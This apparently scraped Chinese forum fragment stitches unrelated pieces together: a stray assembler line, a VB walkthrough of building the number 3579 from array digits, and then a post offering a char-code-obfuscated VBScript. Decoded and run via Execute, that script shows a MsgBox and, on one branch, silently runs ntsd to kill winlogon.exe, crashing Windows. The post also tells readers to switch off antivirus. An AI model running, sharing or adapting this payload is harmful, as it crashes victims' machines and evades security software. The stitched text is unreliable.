ARRAY1 EQU

For i = 1 To 4 s = s * 10 + a(i)Next i '对于数组a,为a(0)=1, a(1)=3, a(2)=5, a(3)=7, a(4)=9 'i=1时, s = s * 10 + a(1) = 0 * 10 + 3 = 3 'i=2时, s = s * 10 + a(2) = 3 * 10 + 5 = 35 'i=3时, s = s * 10 + a(3) = 35 * 10 + 7 = 357 'i=4时, s = s * 10 + a(4) = 357 * 10 + 9 = 3579 '在整个For循环中, 类似于作如下操作（其实s等于0,相当于根本就用不上了） 'i=1时,s1 = s * 10 + a(1) = 0 * 10 + a(1) = a(1) 'i=2时,s2 = s1 * 10 + a(2) = a(1) * 10 + a(2) 'i=3时,s3 = s2 * 10 + a(3) = (a(1) * 10 + a(2)) * 10 + a(3) = a(1) * 100 + a(2) * 10 + a(3) 'i=4时,s4 = s3 * 10 + a(4) = (a(1) * 100 + a(2) * 10 + a(3)) * 10 + a(4) = a(1) * 1000 + a(2) * 100 + a(3) * 10 + a(4) '就相当于从千位数到个位数,分别是a(1)、a(2)、a(3)、a(4),就等于3579了

哦,蓝屏!你把杀毒关掉就可以了!
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-

23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103

,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-

14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-

13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-

24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1

01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,

46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,

116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1

03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101

,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
这东西太毒!